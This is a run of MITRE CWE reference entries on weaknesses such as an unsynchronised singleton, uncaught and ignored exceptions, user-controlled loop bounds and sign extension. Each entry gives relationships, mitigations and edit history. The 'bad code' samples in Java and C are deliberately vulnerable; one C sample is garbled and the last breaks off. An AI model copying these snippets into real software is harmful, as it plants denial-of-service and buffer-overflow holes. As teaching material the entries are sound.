CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Signed to unsigned conversion error
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	INT31-C	CWE More Specific	Ensure that integer conversions do not result in lost or misinterpreted data

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Type Conversions", Page 223. 1st Edition. Addison Wesley. 2006.

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences, Description, Other_Notes, Relationships
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Demonstrative_Examples
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Demonstrative_Examples
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Demonstrative_Examples, Description
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Observed_Examples, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 1096

View customized information:

Description

The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.

Extended Description

This issue can prevent the product from running reliably, e.g. by making the instantiation process non-thread-safe and introducing deadlock (CWE-833) or livelock conditions. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	820	Missing Synchronization

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Common Consequences

Scope	Impact	Likelihood
Other	Technical Impact: Reduce Reliability

Weakness Ordinalities

Ordinality	Description
Indirect	(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1129	CISQ Quality Measures (2016) - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-12

References

[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-RLB-12. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2018-07-02 (CWE 3.2, 2019-01-03)	CWE Content Team	MITRE
2018-07-02 (CWE 3.2, 2019-01-03)	Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
Modifications
Modification Date	Modifier	Organization
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Description, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 248

View customized information:

Description

An exception is thrown from a function, but it is not caught.

Extended Description

When an exception is not caught, it may cause the program to crash or expose sensitive information.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	755	Improper Handling of Exceptional Conditions
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	705	Incorrect Control Flow Scoping
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	600	Uncaught Exception in Servlet

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	389	Error Conditions, Return Values, Status Codes

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	703	Improper Check or Handling of Exceptional Conditions

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	703	Improper Check or Handling of Exceptional Conditions

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Availability Confidentiality	Technical Impact: DoS: Crash, Exit, or Restart; Read Application Data An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.

Demonstrative Examples

Example 1

The following example attempts to resolve a hostname.

(bad code)

Example Language: Java

protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {

String ip = req.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
...
out.println("hello " + addr.getHostName());

}

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2

The _alloca() function allocates memory on the stack. If an allocation request is too large for the available stack space, _alloca() throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. _alloca() has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure _alloca_s().

Example 3

EnterCriticalSection() can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the EnterCriticalSection() function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

Observed Examples

Reference	Description
CVE-2023-41151	SDK for OPC Unified Architecture (OPC UA) server has uncaught exception when a socket is blocked for writing but the server tries to send an error
CVE-2023-21087	Java code in a smartphone OS can encounter a "boot loop" due to an uncaught exception

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	227	7PK - API Abuse
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	730	OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	962	SFP Secondary Cluster: Unchecked Status Condition
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1410	Comprehensive Categorization: Insufficient Control Flow Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Exception Handling
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR06-J		Do not throw undeclared checked exceptions
SEI CERT Perl Coding Standard	EXP31-PL	Exact	Do not suppress or ignore exceptions
Software Fault Patterns	SFP4		Unchecked Status Condition

References

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	7 Pernicious Kingdoms
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2008-09-24	CWE Content Team	MITRE
2008-09-24	Removed C from Applicable_Platforms
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Applicable_Platforms
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Relationships
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Description, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-01-30	Often Misused: Exception Handling

Weakness ID: 391

View customized information:

Description

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	754	Improper Check for Unusual or Exceptional Conditions

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	389	Error Conditions, Return Values, Status Codes

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1020	Verify Message Integrity

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	703	Improper Check or Handling of Exceptional Conditions

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	703	Improper Check or Handling of Exceptional Conditions

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Technical Impact: Varies by Context; Unexpected State; Alter Execution Logic

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

The following code excerpt ignores a rarely-thrown exception from doExchange().

(bad code)

Example Language: Java

try {

doExchange();

}
catch (RareException e) {

// this can never happen

}

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

Potential Mitigations

Phase: Requirements

The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

Phase: Requirements

A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

Phase: Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	388	7PK - Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	962	SFP Secondary Cluster: Unchecked Status Condition
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions

Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reasons: Potential Deprecation, Frequent Misuse, Frequent Misinterpretation

Rationale:

This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue.

Comments:

Consider CWE-252, CWE-1069, CWE-248, or other entries under CWE-754: Improper Check for Unusual or Exceptional Conditions or CWE-755: Improper Handling of Exceptional Conditions.

Suggestions:

CWE-ID	Comment
CWE-252	Unchecked Return Value
CWE-1069	Empty Exception Block
CWE-248	Uncaught Exception

Notes

Other

When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions:

This method call can never fail.
It doesn't matter if this call fails.

Maintenance

This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue. CWE analysts might map to this entry based on any of these issues. 7PK has "Empty Catch Block" which has an association with empty exception block (CWE-1069); in this case, the exception has performed the check, but does not handle. In PLOVER there is "Unchecked Return Value" which is CWE-252, but unlike "Empty Catch Block" there isn't even a check of the issue - and "Unchecked Error Condition" implies lack of a check. For CLASP, "Uncaught Exception" (CWE-248) is associated with incorrect error propagation - uncovered in CWE 3.2 and earlier, at least. There are other issues related to error handling and checks.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unchecked Return Value
7 Pernicious Kingdoms			Empty Catch Block
CLASP			Uncaught exception
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
CERT C Secure Coding	ERR00-C		Adopt and implement a consistent and comprehensive error-handling policy
CERT C Secure Coding	ERR33-C	CWE More Abstract	Detect and handle standard library errors
CERT C Secure Coding	ERR34-C	CWE More Abstract	Detect errors when converting a string to a number
CERT C Secure Coding	FLP32-C	Imprecise	Prevent or detect domain and range errors in math functions
CERT C Secure Coding	POS54-C	CWE More Abstract	Detect and handle POSIX library errors
SEI CERT Perl Coding Standard	EXP31-PL	Imprecise	Do not suppress or ignore exceptions
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-07-17	KDM Analytics
2009-07-17	Improved the White_Box_Definition
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated White_Box_Definitions
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Other_Notes
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Description, Maintenance_Notes
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Description, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Mapping_Notes

Weakness ID: 606

View customized information:

Description

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1284	Improper Validation of Specified Quantity in Input
CanPrecede	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	834	Excessive Iteration

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1215	Data Validation Issues

Modes Of Introduction

Phase	Note
Implementation

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: DoS: Resource Consumption (CPU)

Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)

Example Language: C

void iterate(int n){

int i;
for (i = 0; i < n; i++){

foo();

}

}
void iterateFoo()
{

unsigned int num;
scanf("%u",&num);
iterate(num);

}

Example 2

(bad code)

Example Language: C

int processMessageFromSocket(int socket) {

message[index] = msg->msgBody[index];

}
message[index] = '\0';

// process message
success = processMessage(message);

}
return success;

}

Potential Mitigations

Phase: Implementation

Do not use user-controlled data for loop conditions.

Phase: Implementation

Perform input validation.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	872	CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	994	SFP Secondary Cluster: Tainted Input to Variable
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1406	Comprehensive Categorization: Improper Input Validation

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable
OMG ASCSM	ASCSM-CWE-606

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Looping Constructs", Page 327. 1st Edition. Addison Wesley. 2006.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-606. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2007-05-07 (CWE Draft 6, 2007-05-07)	Anonymous Tool Vendor (under NDA)
2007-05-07 (CWE Draft 6, 2007-05-07)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Taxonomy_Mappings, Type
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Relationships
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Demonstrative_Examples, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Demonstrative_Examples, Description, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 194

View customized information:

Description

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Other	Technical Impact: Read Memory; Modify Memory; Other When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

(bad code)

Example Language: C

int GetUntrustedInt () {

return(0x0000FFFF);

}

void main (int argc, char **argv) {

char path[256];
char *input;
int i;
short s;
unsigned int sz;

i = GetUntrustedInt();
s = i;
/* s is -1 so it passes the safety check - CWE-697 */
if (s > 256) {

DiePainfully("go away!\n");

}

/* s is sign-extended and saved in sz */
sz = s;

/* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
printf("i=%d, s=%d, sz=%u\n", i, s, sz);

input = GetUserInput("Enter pathname:");

/* strncpy interprets s as unsigned int, so it's treated as MAX_INT
(CWE-195), enabling buffer overflow (CWE-119) */
strncpy(path, input, s);
